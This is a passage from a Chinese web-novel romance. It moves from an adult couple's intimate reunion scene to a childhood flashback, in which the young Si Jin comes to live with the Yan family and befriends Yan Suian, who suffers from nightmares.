他的吻技其实很糟糕,总是弄得乱七八糟,可是又很凶狠着急,同样让司谨说不出一句话来,只能傻傻扯着他的衣角默默承受。 只是燕绥安脸皮还是薄,虽然舍不得,但听着司谨急促的呼吸,还是不情不愿离开。 只是刚要分开,司谨忽然反手搂住了他的脖颈,主动将舌尖探入了他口腔中,像是片羽毛一样轻轻撩拨他一下。 这么简单的一个动作,就让燕绥安的心猛然加速跳动,迫不及待地将人扑在了床上。 “老婆,老婆……” 他声音含糊,激动又欢快,像是只得到主人喜爱的大狗,忍不住围着主人打转,片刻不想分开。 虽然是年轻版的燕绥安,可是手脚也不那么老实。 腰腹一凉,衣服被扯起来,滚烫的手掌落在小腹上,逐渐往上攀。 燕绥安总是那么不收着力气,只是拧一下,司谨的身体就弯了起来,下意识摁住了他抵在胸前的手,眼睛里荡起水花。 “不要按,很痛。” 燕绥安脑袋有点空,回荡起他刚才那声低喘,有点不相信:“真的痛?” 他怎么觉得司谨被碰到哪里都很敏感,耳朵和侧腰都是。 司谨唇瓣还沾着湿润水色,却很诚实地扯起衣服给他看。 “肿了。” 燕绥安看着那嫩红,喉结猛地滚动几下。 怎么哪里都这么漂亮。 看见他的眼神,司谨把衣服放下去,转开脑袋看向窗外,眨眨眼开始转移话题:“快吃饭了,我们去楼下吧。” “坐一下。” 燕绥安面不改色,却曲起一条腿,挡住有点狼狈的地方。 司谨自然知道他在遮掩什么,犹豫两秒凑过去覆住,还是妥协说:“我帮你吧。” “帮什么?” 燕绥安刚发问,就一下子绷紧了身体,看着面前的青年顶着那张单纯干净的小脸,就越是激动起来。 他强忍住挺身的冲动,微微扬起头看向窗台随风摇曳的纱帘。 不知过去多久,司谨咳嗽两声。 燕绥安急不可耐揽过他,怜爱地吻吻他的嘴唇,温暖和爱意充斥满了整颗心脏,让他不知道该怎么办才好。 “好喜欢你,我好爱你,老婆。” 司谨被他抱着,抬起手摸摸他的后脑勺,动作很轻。 吃饭时间,燕绥安心情好了很多,为了不让家人知道他的情况,全程就没怎么说话。 燕玥是第一个察觉到他不对的人,“绥安今晚怎么话这么少?” 燕绥安恹恹答:“不想说话,饿了。” “身体不舒服?”封冉悦皱眉抬头。 一见她这个表情,燕绥安就反射性紧张,生怕她又开始长篇大论。 结果并没有,她只是闻了句:“没生病吧?” “他没事。”司谨接话,“就是跟我吵了两句,现在没事了。” 这个答案倒是很合理,燕家人都知道他两每天都要黏在一起,偶尔司谨回来陪封冉悦和燕阔峥久了,燕绥安还要打电话过来听听他的声音。 如果是小两口吵架了……他这个反应倒是正常。 一下,几人的表情都放松了下来。 封冉悦吃着鲜美的鱼肉,瞥了自己儿子一眼。 “你这么大人也好意思和小谨吵架,可不能恃宠而骄啊。” 燕绥安觉得哪不对劲,心说她连原因都不问的吗,但这会儿也没好意思多说什么,只含糊点了点头。 一顿饭吃完,他爸妈去外头散步消食,燕玥上楼工作,燕尚坐在客厅里头看纪录片,他们索性也去了院子外头。 “今天晚上有星星。”司谨抬起头,觉得很新奇,“我好像都没有在京市见过星星,老家倒是经常见。” 燕绥安抬头看了一会儿,转头望向身边人瓷白的面容,心脏又软成了一滩水。 “老婆。” “嗯?” “我有点困了。” 司谨扭头看过来,牵住他的手,关切道:“那现在上楼休息去?” “嗯。” 燕绥安被他牵着回房间,经过客厅时察觉到燕尚盯着他们交握的手,忍不住直直看过去。 “看什么看?” 燕尚哼笑一声:“笑你像个小孩,小谨带着你跟幼儿园老师似的,也是辛苦。” 司谨知道他在开玩笑,也只是不好意思笑了笑。 燕绥安撇撇嘴,没搭理他。 只是回到房间,看着司谨从衣柜里面拿出两人的睡衣,他一下子又想起来燕尚说的话,心里面总觉得不自在。 “老婆,你觉得我幼稚吗?” 司谨正想让他先去洗澡,听见这问题硬是愣了一秒。 “不幼稚啊,怎么了?” 他不懂,怎么什么时期的燕绥安都对这个问题那么执着。 “可是你每天都要收拾这么多,不累吗?”燕绥安咬着牙,似乎很看不起自己,“以后你不要做这些琐事了,都交给我。” “啊?”司谨面露疑惑,抓着手上的睡衣看了好一会儿,“这些事情平时就是你做呀。” 他只是觉得,燕绥安现在的状态不太好,所以主动揽下。 况且就只是找件睡衣,不至于反应那么大吧。 燕绥安好像不信:“真的吗?” 司谨点点头。 他平时的事情比较多,燕绥安喜欢一回家就做好饭,晚上催着他去洗澡,所以衣服也都是他收拾,时常还要哄着他一起洗,所以连放水和洗漱他也都代劳了。 他的精力又很充沛,所以第二天早餐大多数时候也是他来做,要么就是晨跑的时候出去买,等司谨醒过来的时候衣服都已经晒好了,要穿的衣服放在床头柜,刷完牙就能出门吃早餐。 “你已经做很多。”司谨诚恳道。 燕绥安轻咳一声,心说这还差不多,可是他对这些都没有记忆,便只好说:“那现在这些也是我来做,你不要操心。” 司谨眨眨眼,试图劝说:“都是小事啊,我们平时也都是换着做,你不是也喜欢吃我做的饭吗?” 燕绥安压根就不知道是什么味道,但他相信司谨的技术肯定不差,于是又心动起来。 “好了。”司谨被他的反应逗笑,将睡衣放在他手上,凑过去踮起脚亲了他一下,“快点去洗漱吧,不是累了?” 燕绥安迷迷糊糊点了头,只是等进了浴室又探出头来,羞涩又期待地说:“老婆,我们可不可以一起洗?” 他刚才听见司谨说的那些事情,就止不住觉得心痒。 害怕被拒绝,他又可怜兮兮补充:“之前那些我都记不清楚了,你不是说要给我们的未来补充新的记忆吗?我想和你一起洗澡。” 司谨没办法拒绝他,刚犹豫不到两秒,就被人半哄半骗进了浴室。 水声淅淅沥沥,浴缸里的水一波一波往外荡,司谨意识模糊间扬起头喘息,脑海中只有一个念头。 无论拥有哪段记忆,燕绥安反正一直都那么色。 这点总是不变。 像是洞悉了他的想法,身后的人拥住他,滚烫的呼吸铺洒在他耳侧,嗓声又沉又哑。 “喜欢你也是一样的,永远不会变。” 司谨眸色涣散,侧首去看身后的人,下一瞬便被吻住了嘴唇,逐渐被掠夺了清醒的思绪。 作者有话要说: 小燕较真起来连自己都嫉妒魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 55-60 第56章 第一次走近燕家时,司谨只有局促和自卑的感觉,他看着那么大那么漂亮的院子,忍不住缩了缩牵着爷爷的手,动了点儿要退缩的念头。 “爷爷,我不想住在这里了。” 他有点儿想哭,想到马上就要离开爷爷奶奶和自己熟悉的家乡,心里面就很难过。 司爷爷也从来没来过这种繁华的城市,但还是俯身摸了摸他的头。 “燕家人都很喜欢你,你救了他们家里的儿子,他们愿意让你转到京市来读书,对你以后是有很大帮助的,在老家里什么东西都是很差的,等以后你在京市赚大钱了,爷爷奶奶就可以来找你了。” 司谨鼻尖一酸,眼泪唰唰往下掉。 “可是我不想跟你们分开。” 对孩子来说,和熟悉的家人分离,就是天大的事情。 司爷爷叹口气,语气严厉起来:“等到了寒假,爷爷就把你接回老家去,怕什么?在这里好好读书,爷爷有空就来看你。” 司谨平时都很乖,可这会儿却怎么也哄不好了,抱着他的手臂死活不愿意进屋子。 “你这孩子。” 司爷爷无奈着,屋子的大门打开,里头走出一道纤长的身影。 他认出那人,忙打招呼:“封小姐。” “您就是小谨的爷爷吧。”封冉悦笑着同他打了招呼,一低头看见满脸泪痕的司谨正疑惑地看着自己,便温柔笑了起来,“小谨怎么哭成这样啦,是不是想到要跟爷爷分开,舍不得爷爷。” 司谨有点怕生,牵着爷爷的手想要往后躲。 “不要怕,”封冉悦轻声道:“小谨要是想爷爷奶奶的话,可以经常和他们打电话,逢年过节如果有时间,我们就把你家里人接过来,或者带你回老家,好不好?” 刚才听爷爷讲了这么多,其实司谨也大致知道了,他必须要在这里生活,不能再回到他熟悉的老家了。 于是听了面前这个很温柔的阿姨说的话,他犹豫着问:“真的可以吗?” “当然了。”封冉悦笑得眼睛弯起,很有亲和力,“不信小谨问问爷爷。” 司谨下意识抬头去看爷爷,对方也挤出笑容,连忙点点头。 “我和奶奶有空就来看你。” 司谨吸吸鼻子,半信半疑。 封冉悦被他这副模样可爱到了,这会儿想了想便道:“小谨,你还记得上次被你救出来的哥哥吗?” 司谨眨眨眼睛,点了点头。 封冉悦垂下眼眸,柔声道:“他回来以后就一直很不开心,谁和他说话都不理会,但他一直在等你来,我和爷爷在客厅聊一点关于你的事情,你可以帮我去后院找到他吗?他一整天都没有吃饭,现在肯定饿到肚子痛了,你可不可以帮阿姨叫他回来吃点东西?” 她真的很温柔,即便司谨现在很难过,却还是被她的话给打动。 犹豫很久,他还是迟疑着抬头看了一眼爷爷。 “去吧。”司爷爷说。 封冉悦看出他在纠结什么,便道:“放心,爷爷要在这里陪你两天的,保姆已经在收拾客房了,爷爷今天不会走的。” 听了这话,司谨才终于放下心来,乖乖跟着保姆一起去了后院。 只是他没走几步就忍不住回头看爷爷,好像害怕自己一扭头爷爷就会回老家去。 好在最后他只是看见爷爷跟着那个阿姨进了屋子里面。 保姆带着他绕过了花丛和秋千亭,走到后院的水潭边上,指向了后院那个小小的木头屋子。 “哥哥就在里面,你去和他打个招呼吧。” 司谨点了点头,心里面很是紧张,但还是大着胆子朝着里面走去。 他还记得在老家山上的时候,他在门外面跟那个哥哥打过招呼,里面的人声音听起来很虚弱,可是说话却很有意思。 只是刚才那个阿姨和他说,这个哥哥回家以后就变得脾气很差,他就忍不住担心。 他见过脾气很差的人,他爸爸和大哥的脾气都很差,有的时候他爸爸不高兴了还会砸家里的东西,特别恐怖。 那个哥哥也会这样吗? 不过砸东西好像也没什么,就是不会打他吧。 司谨还是很怕疼的。 走到小木屋前面,他看见门敞开着,里面的人背对着他正在捯饬什么,传出砰砰砰的声音。 他紧张无比,刚走过去想要说话,脚下就踩到了一节枯枝,发出咔嚓的声音。 那人的后背骤然绷紧,冷着声音说:“不是说过别来吵我吗?” 司谨被他吓了一跳:“哥哥对不起。” 他很自责,下意识就要转身赶紧走,可那人听见他的声音却猛地转身,露出了点儿诧异表情。 “是你?” 司谨停住脚步,一下子不知道自己该不该走了。 他局促地站在门口,揪住两只小手,干巴巴说:“是那个阿姨让我来叫你吃饭的。” 燕绥安眼睛闪动一下,没有说话。 安静太久,司谨下意识抬起头来看他的表情,可却先一步被他过分出众的相貌所吸引了。 这个哥哥……长得好帅啊。 狭长上挑的眼眸,虽然年纪还很小,可是却显得很是凌厉帅气,被他观察的时候也在打量着他。 先前他一直被关在屋子里面,司谨都没有见过他长什么样子。 好好看。 原本以为哥哥回过神来会继续赶他走,可是下一秒那人却冲他招了手。 “进来。” 司谨惊讶,想了想跟进去,坐在了他特意腾出的位置上。 “帮我摁着这个。” 燕绥安将一节木头放在他面前,见他用小手抓住了,才放心将另外一截放上去,开始用小锤把钉子敲进去。 司谨向来很听话,没有多问他在做什么,只是乖乖帮着他完成了这项作品。 起初司谨也不知道这个哥哥在做什么,只是莫名其妙就帮起了忙,之后也不觉得无聊,在对方将提前做好的圆木钉上去时,才知道这是个小圆凳子。 很矮很小,看不出来是用作什么。 “做完了。” 作品成型,燕绥安拍拍手,说:“再上一层木蜡油,晒晒就可以用了。” 司谨眨眨眼,看着他自己处理,蹲在边上小声说:“哥哥,你好厉害啊。” 燕绥安嗯了一声,把凳子放在太阳底下晒,起身去水池边上洗手。 司谨始终跟在他身后,跟着一起打肥皂搓泡泡,洗完以后一转头,就发现那个哥哥正盯着他看。 那种紧张的感觉一下子又窜了上来,他局促垂下湿淋淋的小手,不知道该不该跟面前的人对视。 “你以后就住在这里吗?” 他听见那个哥哥发问。 不知道对方对于他要留下来这件事情是否高兴,司谨咬住嘴唇,好半天才点了头。 “好像是这样。” 他很怕自己一说完,那个哥哥就会生气。 但好在并没有,那人冲着他伸出了手。 “我叫燕绥安,你要记住我的名字。” 司谨面露迷茫,好半天点了点头。 “你重复一遍。” “燕……an。”司谨转头就忘了,脸颊猛地涨红。 燕绥安皱皱眉头,找了个木棍沾水,去石板路上写了自己的名字。 “燕、绥、安,记住没有?” 司谨的记性其实不错,这会儿牢牢把三个字连带着读音都在心里头过了好几遍,然后准确无误读了出来:“我知道了。” 燕绥安看着他的样子,忍不住笑了一下:“但是你还是叫我哥哥吧,毕竟我比你大。” “好。”司谨没有任何异议,“哥哥。” 他太乖了,倒是让燕绥安有点不好意思,这会儿补充一句:“我也一直记得你的名字,你叫司谨。” 司谨很惊喜,连忙点了点头。 “哥哥,你记性真好。” 他说完才又猛地想起来自己来找燕绥安的目的,小脸一下白了。 阿姨叫他来喊哥哥去吃饭,可是这么久了他们都没有过去,阿姨会不会生气。 “你怎么了?”燕绥安皱眉。 司谨有点想哭,把事情经过和他说了一遍。 燕绥安还以为是什么大事,闻言只道:“别担心,我妈妈不会说你什么,她的脾气挺好的,我现在去吃就是了。” “真的吗?” 司谨不敢相信,毕竟阿姨刚才说过,家里人都喊过哥哥去吃饭,可是哥哥根本就不听。 不会是故意逗他的吧。 他年纪小不会藏事情,什么情绪都写在脸上。 感知到他的心思,燕绥安撇撇嘴,说:“你别听他们的,我很好说话,以后要是有人欺负你的话,也尽管来找我,我会罩着你的。” 他并不是随口一说,司谨听完以后眼睛也亮了起来。 一个人来到人生地不熟的地方上学生活,即便他努力想要不放在心上,可还是感觉很难过害怕,现在燕绥安说的这句话就像是给了他一记定心丸,至少让他当下不再那么恐惧了。 见他没有说话,燕绥安说:“我是认真的,在家里是一样,学校里也是一样,我们在同一个学校,你课间来找我可能时间不够,但是我们可以一起吃饭回家,我会去接你的。” 封冉悦早早安排好了让钟姨去接司谨下课,但燕绥安虽然清楚,却还是将活揽到了自己的身上。 “谢谢哥哥。” 司谨心里面很感动。 面对着他崇拜的眼神,燕绥安心情也变得很好,牵着他的手去了屋子里面,为了证明什么一般,将钟姨做的烩饭吃了一大盆。 封冉悦都被他给吓了一跳,又心疼他是饿惨了,又欣慰司谨的作用,居然真的可以把他叫过来乖乖吃饭。 只是进了客厅以后,司谨看见爷爷坐在沙发上,就甩开燕绥安的手去抱住爷爷了。 作者有话要说: 会有时间大法,可能背德感强一点,不喜欢慎买呀 第57章 燕绥安吃完饭看见他坐在司爷爷身边,就算看见了自己也没有太大的反应,不自觉皱了皱眉头。 封冉悦见着他这副模样,不由担心起来。 她知道燕绥安回来以后脾气就变得很古怪,而且对于这个救了自己的小男孩抱着点儿不同的情感,指不定瞧见人家更亲自己的爷爷,心里头会不舒服。 正想要先一步开口阻止接下来可能发生的事情,就见她儿子站在了老人家面前,礼貌地俯身打了个招呼。 “爷爷好。” 司爷爷淳朴的脸上露出笑容:“小朋友你好。” “麻烦您送司谨过来了,之后司谨和我在同一个学校,我会带着他一起上下学的,您不用太担心,等我们放假了我会带司谨回去看您。” 燕绥安表情认真,小小年纪就透出一股稳重。 司爷爷原本还担心孙子在这过得不好,见着这画面总算是放心下来,笑着连连点头。 司谨坐在爷爷边上晃悠着两条腿,心中虽有不舍,但对燕绥安的反应也很惊喜。 到了晚上,司爷爷和司谨被安置在客房,燕绥安起初是想让司谨和他在一个房间的,但看着小家伙抱着困恹恹抱着爷爷的手臂,还是没有说出自己的想法来。 只是这天晚上还是不得安宁,他再次梦见了自己被困在一个漆黑的房间里面,晚上被吓醒以后身体止不住颤抖,把陪着他一起睡觉的封冉悦吓得够呛。 司谨梦中其实也听见了一些动静,他和爷爷在老家起得很早,到了燕家也没改掉这个习惯。 起床换好衣服,他一出去就看见封阿姨从楼上下来,脸色不是很好看,似乎很困倦。 这天他也终于见到了燕绥安的爸爸,是一个很有威严的叔叔,但是对他也很温和。 一直到了中午还没有看见燕绥安,他总算忍不住问了一句。 原本脸上还带着笑容的封阿姨一下子就伤感了,“小安他……自从回来以后晚上一直休息不好,一晚上要醒好多次,而且还会被梦魇住,所以要休息比较长的时间。” 司爷爷也听出了意思,想了想主动开口道:“我看他对我们司谨是不太一样,晚上醒来瞧见他的话,会不会好一些?” 司谨懵懵懂懂听着,没太理解意思。 但是他很听爷爷的话,这会儿听见是爷爷的提议,便也认真点了点头,扭头去看封阿姨的表情。 封冉悦擦了擦眼角的泪,心中多少还是感动的,但还是不好意思地笑着说:“再过些日子吧,小谨年纪小,晚上要是被他吓到了也不好。” 司爷爷便没再多说什么。 这天一直到很晚司谨才看见燕绥安下楼来,那张帅气的脸上很苍白,带着特别浓重的疲惫感,显得没有精神。 草草吃了两口面,他抬头看见司谨坐在沙发上,才像是逐渐回了些神。 “凳子应该晒好了,我们去看看吧。” 司谨看了一眼爷爷,见对方朝他招了手,才点点头跟上了燕绥安。 看着哥哥走在前面,他犹豫两秒牵住了对方的手,察觉到那人的动作僵硬,正想要把手抽回来,就被抓紧了。 燕绥安的力气很大,手也比他要大一圈,其实抓得他有点痛,但他想到封阿姨说的那些话,还是没有说出来。 小凳子还在原先的位置,燕绥安过去上第二次油,结束以后将其放回了原本的位置,微微侧首看向身后。 不用他开口说话,司谨就知道他在喊自己,便连忙从石凳上站起来朝他跑过去。 “哥哥。” 燕绥安:“再晒几天就可以用了,到时候搬到我房间里,我们可以一起在窗台上玩。” 司谨愣怔一下,这才发现原来是他给自己做的,心里面止不住感动起来。 “谢谢哥哥。” “嗯。” 燕绥安没有和他多说什么,扭头看了一眼院子里面,像是在思考什么。 到了这里,司谨没有别的事情可以干,唯一的任务就是跟着他,所以这会儿也眼巴巴盯着他,很信任的样子。 “你和爷爷是不是还没有去外面转过?”燕绥安忽然开口,“今天下午要不我们出去玩吧,京市有很多有意思的地方。” 司谨眼睛一下就亮了起来。 这个年纪的小孩最是喜欢出去玩,他也不例外,来到京市以后他只在车上草草看过这个陌生的豪华城市,这会儿被燕绥安一说就心动了。 但是等燕绥安回到客厅和封阿姨说完,却遭到了对方的拒绝。 “你还需要好好休息呢,晚上不是都没休息好?不趁着白天补补觉?” 她的语气温柔,可是燕绥安听了这话脸色还是一下就沉了下去,闭着嘴巴不说话,但肉眼可见的不高兴。 司谨站在边上也很为难,这时被爷爷拍了拍脑袋,抬起头就对上了爷爷责备的眼神。 “是不是你让他带你出去玩?” 借口透气出了院子,爷爷低声和他说了这么一句。 司谨连忙摇摇头,心里头委屈极了:“是小燕哥哥主动说要带我们出去玩,不是我提的。” 司爷爷也知道他不是这样的性格,这会儿叹口气,说:“那你也要跟他讲不行嘛,他们只是好心资助你,哪里有带着你去玩的义务,往后你在这里也不能仗着跟他关系好就想什么干什么,在别人家里要有一点顾忌。” 司谨似懂非懂地点了点头:“我知道了。” “以后就专心学习,如果燕家有什么事情你可以帮得上忙,也要多做点事情,不能叫人家觉得你在这里蹭吃蹭睡。” “好。” 司谨的嘴巴撇下去,虽然很难过,但还是没有表现出来。 都已经来到了燕家,他也知道这件事情没得商量。 爸爸和妈妈知道以后不用再给他付学费伙食费,高兴还来不及,而且知道燕家在京市,巴不得可以和他们打好关系,出发之前还一直嘱咐他要好好在这里让燕家的人都喜欢他。 他不知道自己能不能做到,但是至少现在他觉得封阿姨和燕叔叔都不是坏人,燕绥安就更加不是了。 被爷爷一通教育,等再回到客厅的时候,他就主动说身体不舒服,不想出去玩了。 燕绥安还冷着脸和封阿姨对峙,一听这话就皱起了眉头,快步走过来拉住了他的手,“你哪里不舒服?我找医生来给你看看。” 封阿姨也关切过来在他面前蹲下,“小谨,怎么回事?” 司谨不太会撒谎,很刻意移开了目光,嗫嚅着说:“就是昨天脚走痛了,不想出去玩。” 封冉悦自然看出了他是为了解围,表情放松下来,也有些欣慰。 可燕绥安没懂,只说:“我们出门坐车,不用走路,你要是脚不舒服,家里正好有轮椅……” “不要了。”司谨红着脸,很不好意思,“我晕车。” 这点倒是真的,他昨天下飞机以后坐车来燕家的时候都吐了。 “好了,小谨不舒服就让他休息一下,以后不是有的是机会去玩吗。” 封冉悦没再让他们多话,让钟姨做些小孩喜欢吃的点心,让司谨去房间里头休息了。 燕绥安很不高兴,他盯着司谨回一楼客房的背影,心里头不是滋味。 封冉悦在客厅和司爷爷聊天,说起农村里头的一些特产时很感兴趣,也趁着这个机会了解了不少司谨的喜好习惯。 第二天,司爷爷该回余城了。 司谨在院子外头乖乖站着,和爷爷说了好一会儿的话,可是等到看见爷爷上车,眼泪却还是憋不住了。 “我也想回家。” 这话一出口,他就忍不住往车上扑,心里头满是对于未知生活的恐惧。 燕阔峥一直在后面盯着,见着他的动作便手疾眼快将小孩给搂住了。 “不要过去,车很危险,小谨听话点,跟爷爷打招呼,不然爷爷回去要担心很久的。” 司谨抽抽噎噎地掉着眼泪,看见车窗降下来露出爷爷有些不舍的脸,便哭的更凶了。 封冉悦看着这画面也心疼,忙过来安抚他:“没事小谨,等到过年又可以回老家,就几个月的事情,等爷爷到了还可以打电话。” 司机也知道这种情况停留太久才是最难受的,等祖孙两人对上了眼,就一脚油门把车开走了。 看着车消失在眼前,司谨的小脸已经全被眼泪沾湿了,哭得又凶又狠,看得人心疼无比。 封冉悦低声安慰着,好不容易把人哄好了进院子里头吃点心,转头就看见自己儿子还站在门口,皱着眉头很不高兴地盯着门口。 “小安?” 燕绥安收回目光,语气中满是不解:“为什么他哭成这样,待在我们家不好吗?” 封冉悦无奈叹口气:“再好也不是自己家啊,而且小谨现在和我们都不熟悉,如果这里有一个他认识的人,可能还好一点。” “他认识我啊。” 封冉悦被他一本正经的样子逗笑了,“可是你们还不了解,对他来说,你可能还只是一个很普通的朋友吧。” 说不定连朋友都还算不上。 小孩一听见这话,表情就变得更加难看了。 “那……他不会晚上偷偷跑回家吧。” 封冉悦想笑,但却忍不住逗他,“有可能哦,所以你得把他看好了,还要对他温柔体贴一点,要是他觉得这里不好的话,应该就会吵着要回家的。” 原以为儿子会反驳她什么,可许久都没听见燕绥安再说话- 当天晚上,为了不让司谨一个人睡害怕,封冉悦主动让他去主卧休息,但最后却被燕绥安给截胡了。 对于司谨来说,虽然阿姨和叔叔都很好,可是跟同龄人睡还是要更放松一点。 抱着一楼的枕头上了楼,钟姨也把他的衣服都转移到了燕绥安的房间,两个小家伙正式住在了一起。 燕绥安房间的床很大,两个小家伙分开盖被子,司谨洗干净换上了封阿姨挑的新睡衣蜷在被子里面,探出的小脑袋毛茸茸,燕绥安回来的时候看见这一幕,凑近就看见了他哭红的眼睛,还有些肿着。 “哥哥,我晚上睡觉要是打扰到你,你就叫醒我。” 不哭的时候司谨还是很乖巧的。 燕绥安嗯了一声,把大灯关掉留了床头的照明灯,躺下以后听着耳边属于另一个人的呼吸。 “你怕黑吗?” 司谨睁开眼睛,摇摇头:“不怕,哥哥呢?” “我也不怕。”燕绥安翻了个身,平躺着,“你要是害怕的话就叫我,上厕所也可以叫我。” 司谨:“好。” 他折腾一天很困,没多久就睡着,只是睡梦里好像又梦见了什么不开心的事情,又发出了很细微的呜咽声。 这时候燕绥安还没睡着,一转头看见小家伙自己蜷缩着身体,把脸埋进被子里面小声哭,有点不敢相信。 “你怎么了?” 司谨没有理会,他便卷着被子坐起身来,凑过去轻轻扯被角,想要看看司谨的表情。 等被子扯开了,小孩湿润的睫毛颤动,被角都被眼泪给打湿了一块,一张可爱的小脸湿漉漉的,明显是沾满了泪水,可怜极了。 “你哭什么?”燕绥安问。 司谨难过地看了他一眼,小声说:“哥哥,我想爷爷了。” 燕绥安松了口气,提议道:“那你想给爷爷打电话吗?我有手机。” 他说着转身就要去找,却被小司谨抓住了衣服。 “爷爷肯定已经睡着了,明天再打吧。” 燕绥安哦一声,又顺着他的力道躺了回去。 “你要不要睡到我这边来?” 司谨露出茫然的表情。 燕绥安指了一下他被子上那一块湿润的痕迹,说:“你这里都湿了怎么睡?我的被子很大,可以盖下我们两个人,你过来吧。” 他虽然是劝说的语气,可是已经自顾自坐起身来把司谨的被子掀开,然后丢在了地上。 司谨犹豫了一会儿,也听话地钻进了他的被子里,把枕头拖过来和他贴在一起。 贴的太紧,司谨几乎可以感觉到身边人身上传来的热气,但是却让他觉得很安心。 但这一觉并不简单。 他睡了还没多久,就被一阵急促剧烈的呼吸声给吵醒了。 “哥哥?” 懵然揉揉眼睛,司谨疑惑地朝着身边看过去,却见燕绥安满头大汗,此时紧闭着眼睛,像是无法从梦里醒来。 “小燕哥哥!” 他被吓了好大一跳,连忙伸手去摇燕绥安。 下一秒,燕绥安紧紧抓住他的手,那狠劲一下把他给捏疼了。 眼眶蓦然湿润,司谨扁着嘴想哭,可是看见小燕哥哥狼狈不清醒的模样,又硬生生憋了回去。 第58章 燕绥安紧蹙着眉头,好半天才像是反应过来自己身在何处,转头看见小孩眼圈泛红捧着自己被捏红的小手可怜巴巴看过来,整个人就愣住了。 “你没事吧?” 司谨摇摇头,可是眼睛里头却泛着点儿畏惧,像是在害怕他。 燕绥安掀开被子,抓住他的手凑近看了看,眸中闪过自责。 “对不起,我去给你找药。” 说着他就要翻身下床,司谨却反手抓住了他,说:“哥哥,我没事,揉一揉就不痛了。” 只是捏了一下而已。 燕绥安听后,就认认真真低头给他揉起了手。 他自己额头上的汗都没来得及擦,吸引了司谨的注意力,忍不住一直盯着看。 等到手不痛了,他才大着胆子小声问:“哥哥,你晚上睡不着吗?” 燕绥安垂着眼眸打量他被揉红的小手,司谨虽然年纪很小,可是手上却有很明显的茧子,明显是平时要做很多粗活。 也不知道为什么,看见这些以后,他的心情就变得很不好,莫名又想起来在余城的那天,司谨被那个男人轻轻松松拎起来往外走,最接近危险的那个瞬间。 “哥哥?” 司谨的声音忽然响起,唤回了他的思绪。 “嗯。”燕绥安松开他,回答了前面的问题,“有点睡不着,我看会书吧。” 如果是他妈在这,他肯定不会这么做,否则会被念叨到天亮,但他觉得司谨应该不会去告状。 但又不确定。 “如果明天早上我妈问起来,你就说我们晚上一直在睡觉。” 司谨眨眨眼睛,很乖地点了点头:“好,我记住了。” 燕绥安很满意,给他盖好被子,自己堆了两个枕头靠在床头,开始看书。 司谨看着上面密密麻麻的字,只觉得眼睛疼,没多久便闭上眼睛,只是过一会儿又睁开眼,担心燕绥安又会像刚才那样。 一回两回,次数多了,专注看书的燕绥安也被他吸引了注意力。 将书合上,他问:“你老看我干什么?” 司谨心虚地眨眨眼睛,如实回答了。 燕绥安沉默几秒,还是把书放在了边上,贴着他躺下。 “还是睡觉吧,马上就要天亮了。” 他只顾着自己看书,都忘记了这样可能会导致司谨睡不着。 司谨自然不知道他的想法,闻言闭上了眼睛,过了一会儿小心翼翼在被子里面摸到了身边的手,感受到一颤后微微抓住手指。 “哥哥,这样你会不会就不做噩梦了?” 燕绥安心说这能有什么用,但不想让他失望,还是嗯了一声。 身边人听后果然高兴笑了笑,然后就抓着他的手指头沉沉睡了过去。 起初没抱什么希望,他还想着等犯困了要把手抽走,免得再次惊醒又吵到司谨,可后半夜却意外睡得很熟,再度睁开眼外头已经亮了,他清醒过来转头看向身边,目光落在司谨肉嘟嘟的熟睡面庞上,心中是很久没有过的放松。 两人的手依然牵在一起,他那两根被捉住的手指都有些发汗了。 还真是神奇- 燕绥安知道这是妈妈喜欢听的,起床以后便偷偷将这件事情告诉了她,并且提出以后都要和司谨住在一起。 知道他晚上睡得不错,封冉悦是高兴的,但之后又迟疑了。 “他昨天晚上说想司爷爷了,哭了一晚上。”燕绥安适时补充,“是我哄他睡着的。” 以为他是在邀功,封冉悦忍不住笑笑,“你是哥哥,要多照顾他,那以后你们就一起睡吧,等小谨再长大点,分你隔壁的那个房间给他。” “好。” 达成目的,燕绥安自己回去把事情和司谨说了。 有了这一晚上的交集,司谨似乎也觉得自己知道了他的小秘密,所以面对他时也没了那种紧张的感觉,直接就答应下来。 燕绥安心情很好,带着他回房间给司爷爷打电话,站在阳台上吹风的时候又听见房间里头传出细微的哭声。 他还是很不高兴,但是这次没有听见司谨说想要走的话,心里头放心了不少,也不再那么计较他的事情了。 没过多久开学了,司谨是小学生,燕绥安已经在读初中了,但两人的学校都在一起,只是教学楼隔得很远。 上学第一天司谨很不习惯,他身上穿着封阿姨给他挑的新衣服,假期被养白了一些,怯生生站在讲台上做自我介绍,也是很秀气惹人喜欢的。 刚选了座位坐下,周围的人就跑来和他打招呼。 司谨很是紧张,一天下来心情说不上来,等结束最后一堂课看见燕绥安站在走廊外面等他,眼睛猛的一下就亮了起来。 “司谨过来。” 封阿姨是提前和老师打好了招呼的,于是班主任对燕绥安的到来也并不惊讶。 “哥哥!” 司谨兴冲冲跑出去才敢喊他。 燕绥安摸了摸他的头,在班上人羡慕的眼神中带着他下楼。 “今天和同学相处怎么样?有人欺负你吗?” 司谨摇摇头:“没有,他们人都挺好的。” “那就行,可以交几个朋友,也不用太多。”燕绥安还不忘嘱咐他,“要是有人欺负你的话,记得直接来找我。” “我记住了。” 其实燕绥安要比司谨多一节课,但是他提前把下午茶带到了食堂,把司谨安顿在那,便跑回去上课。 等他上完课回来,司谨已经吃完了东西乖乖坐在那里写作业。 这一幕对燕绥安来说是陌生的,他平时觉得等人都是一件无聊的事情,可是现在因为知道司谨在等自己,收拾东西的动作都很快了很多。 回到家里,封冉悦忍不住提议:“以后还是让司机接小谨回来吧,你课间才十分钟,干嘛非得揽这个活。” 燕绥安有点不高兴。 谁料司谨主动拒绝了,说他在食堂里面正好可以把作业做完,这样回来就可以直接预习课文了。 他那么乖,封冉悦也没办法说出别的话来,只好答应了。 只是从这天开始,她便会让司机进学校里头盯着司谨,生怕他一个人在那出什么事。 几个月过去,春节司谨回了躺老家,燕绥安一个人睡竟然觉得很不习惯。 不过他现在已经很少做噩梦了,每次都能感觉到有人攥着自己的手指头,就好像忽然从梦境里面回到了现实。 原本他还以为司谨走了会很不习惯,正想着如果做噩梦了就把事情告诉司谨,让他早一点回来。 可是这天却一觉睡到了自然醒,让他觉得很挫败。 过年的时候司谨打电话来给封冉悦和燕阔峥拜年,几人说了好一阵,燕尚和燕玥也都听着,客厅传开一阵欢声笑语。 燕绥安站在院子外面,心里头满不舒服。 虽然他不知道司谨都说了什么,但是能感觉出来,他回到家以后肯定很高兴。 是了,回到了自己熟悉喜欢的地方,怎么会想起他来。 正这么酸溜溜的想着,身后传来妈妈的声音,喊他进去接电话。 